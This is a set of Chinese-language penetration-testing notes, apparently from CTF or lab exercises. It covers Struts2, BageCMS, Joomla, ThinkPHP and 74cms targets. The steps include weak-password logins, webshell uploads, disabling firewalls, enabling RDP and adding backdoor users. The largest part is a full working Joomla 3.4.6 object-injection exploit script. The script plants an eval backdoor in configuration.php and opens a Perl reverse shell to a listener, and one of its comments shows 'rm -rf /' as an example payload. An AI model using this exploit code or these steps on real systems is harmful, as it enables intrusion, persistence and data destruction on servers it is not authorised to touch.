MS17-010

Struts2 8888端口开放，发现版本信息，根据提示说有Struts2框架 文件上传那个漏洞用不了，扫一下目录扫出来/S2 直接上综合利用工具，可以命令执行 上传一句话木马 连接成功 权限不够查看flag，上传cs免杀马好像不太行，我这里先上msf，原因是 目标机器有防火墙，所以这里只能用定向，上去之后记得关掉防火墙 先拿第一个flag 开启RDP，添加后门 ...

BageCMS fscan扫描到9652端口运行着CMS，版本大概率是3.1 进入/index.php?r=admini，通过弱密码：admin/admin123456进入到后台，编辑模板添加一句话木马 连接蚁剑，在根目录拿到flag1 开启RDP，添加后门用户 ...

Joomla 进入80端口，发现是joomla 使用扫描工具joomscan得到版本信息是3.4.6 #!/usr/bin/env python3 import requests from bs4 import BeautifulSoup import sys import string import random import argparse from termcolor import colored PROXS = {'http':'127.0.0.1:8080'} PROXS = {} def random_string(stringLength): letters = string.ascii_lowercase return ''.join(random.choice(letters) for i in range(stringLength)) backdoor_param = random_string(50) def print_info(str): print(colored("[*] " + str,"cyan")) def print_ok(str): print(colored("[+] "+ str,"green")) def print_error(str): print(colored("[-] "+ str,"red")) def print_warning(str): print(colored("[!!] " + str,"yellow")) def get_token(url, cook): token = '' resp = requests.get(url, cookies=cook, proxies = PROXS) html = BeautifulSoup(resp.text,'html.parser') # csrf token is the last input for v in html.find_all('input'): csrf = v csrf = csrf.get('name') return csrf def get_error(url, cook): resp = requests.get(url, cookies = cook, proxies = PROXS) if 'Failed to decode session object' in resp.text: #print(resp.text) return False #print(resp.text) return True def get_cook(url): resp = requests.get(url, proxies=PROXS) #print(resp.cookies) return resp.cookies def gen_pay(function, command): # Generate the payload for call_user_func('FUNCTION','COMMAND') template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}' #payload = command + ' || $a=\'http://wtf\';' payload = 'http://l4m3rz.l337/;' + command # Following payload will append an eval() at the enabled of the configuration file #payload = 'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'test\\\'])) eval($_POST[\\\'test\\\']);\', FILE_APPEND) || $a=\'http://wtf\';' function_len = len(function) final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function))) return final def make_req(url , object_payload): # just make a req with object print_info('Getting Session Cookie ..') cook = get_cook(url) print_info('Getting CSRF Token ..') csrf = get_token( url, cook) user_payload = '\\0\\0\\0' * 9 padding = 'AAA' # It will land at this padding working_test_obj = 's:1:"A":O:18:"PHPObjectInjection":1:{s:6:"inject";s:10:"phpinfo();";}' clean_object = 'A";s:5:"field";s:10:"AAAAABBBBB' # working good without bad effects inj_object = '";' inj_object += object_payload inj_object += 's:6:"return";s:102:' # end the object with the 'return' part password_payload = padding + inj_object params = { 'username': user_payload, 'password': password_payload, 'option':'com_users', 'task':'user.login', csrf :'1' } print_info('Sending request ..') resp = requests.post(url, proxies = PROXS, cookies = cook,data=params) return resp.text def get_backdoor_pay(): # This payload will backdoor the the configuration .PHP with an eval on POST request function = 'assert' template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}' # payload = command + ' || $a=\'http://wtf\';' # Following payload will append an eval() at the enabled of the configuration file payload = 'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'' + backdoor_param +'\\\'])) eval($_POST[\\\''+backdoor_param+'\\\']);\', FILE_APPEND) || $a=\'http://wtf\';' function_len = len(function) final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function))) return final def check(url): check_string = random_string(20) target_url = url + 'index.php/component/users' html = make_req(url, gen_pay('print_r',check_string)) if check_string in html: return True else: return False def ping_backdoor(url,param_name): res = requests.post(url + '/configuration.php', data={param_name:'echo \'PWNED\';'}, proxies = PROXS) if 'PWNED' in res.text: return True return False def execute_backdoor(url, payload_code): # Execute PHP code from the backdoor res = requests.post(url + '/configuration.php', data={backdoor_param:payload_code}, proxies = PROXS) print(res.text) def exploit(url, lhost, lport): # Exploit the target # Default exploitation will append en eval function at the end of the configuration.pphp # as a bacdoor. btq if you do not want this use the funcction get_pay('php_function','parameters') # e.g. get_payload('system','rm -rf /') # First check that the backdoor has not been already implanted target_url = url + 'index.php/component/users' make_req(target_url, get_backdoor_pay()) if ping_backdoor(url, backdoor_param): print_ok('Backdoor implanted, eval your code at ' + url + '/configuration.php in a POST with ' + backdoor_param) print_info('Now it\'s time to reverse, trying with a system + perl') execute_backdoor(url, 'system(\'perl -e \\\'use Socket;$i="'+ lhost +'";$p='+ str(lport) +';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\\\'\');') if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('-t','--target',required=True,help='Joomla Target') parser.add_argument('-c','--check', default=False, action='store_true', required=False,help='Check only') parser.add_argument('-e','--exploit',default=False,action='store_true',help='Check and exploit') parser.add_argument('-l','--lhost', required='--exploit' in sys.argv, help='Listener IP') parser.add_argument('-p','--lport', required='--exploit' in sys.argv, help='Listener port') args = vars(parser.parse_args()) url = args['target'] if(check(url)): print_ok('Vulnerable') if args['exploit']: exploit(url, args['lhost'], args['lport']) else: print_info('Use --exploit to exploit it') else: print_error('Seems NOT Vulnerable ;/') 运行一下生成后门 连接蚁剑，根目录拿到flag1 上线cs并且开启RDP，添加后门用户 ...

Fscan [root@Hacking] /home/kali/Desktop ❯ ./fscan -h 192.168.10.10 -p 80 ⏎ ┌──────────────────────────────────────────────┐ │ ___ _ │ │ / _ \ ___ ___ _ __ __ _ ___| | __ │ │ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / │ │ / /_\\_____\__ \ (__| | | (_| | (__| < │ │ \____/ |___/\___|_| \__,_|\___|_|\_\ │ └──────────────────────────────────────────────┘ Fscan Version: 2.0.0 [2025-07-16 22:41:57] [INFO] 暴力破解线程数: 1 [2025-07-16 22:41:57] [INFO] 开始信息扫描 [2025-07-16 22:41:57] [INFO] 最终有效主机数量: 1 [2025-07-16 22:41:57] [INFO] 开始主机扫描 [2025-07-16 22:41:57] [INFO] 有效端口数量: 1 [2025-07-16 22:41:57] [SUCCESS] 端口开放 192.168.10.10:80 [2025-07-16 22:42:03] [SUCCESS] 服务识别 192.168.10.10:80 => [http] [2025-07-16 22:42:03] [INFO] 存活端口数量: 1 [2025-07-16 22:42:03] [INFO] 开始漏洞扫描 [2025-07-16 22:42:03] [INFO] 加载的插件: webpoc, webtitle [2025-07-16 22:42:04] [SUCCESS] 网站标题 http://192.168.10.10 状态码:200 长度:25157 标题:易优CMS - Powered by Eyoucms.com [2025-07-16 22:42:11] [SUCCESS] 目标: http://192.168.10.10:80 漏洞类型: poc-yaml-thinkphp5023-method-rce 漏洞名称: poc1 详细信息: links:https://github.com/vulhub/vulhub/tree/master/thinkphp/5.0.23-rce [2025-07-16 22:42:14] [SUCCESS] 扫描已完成: 2/2 发现存在thinkphp的rce漏洞 ...

CMS Getshell fscan扫描到192.168.10.10开放了808端口，似乎使用的是骑士CMS 进入登录页，发现了版本信息是4.2.111 并且通过回显可以判断出用户名就是admin，尝试进行爆破密码 得到密码是admin123456。来到工具-风格模板-可用模板进行抓包，修改tpl_dir的值 然后木马的位置在/Application/Home/Conf/config.php 根目录中拿到flag，上线msf 获取NTLM哈希值 上线cs ...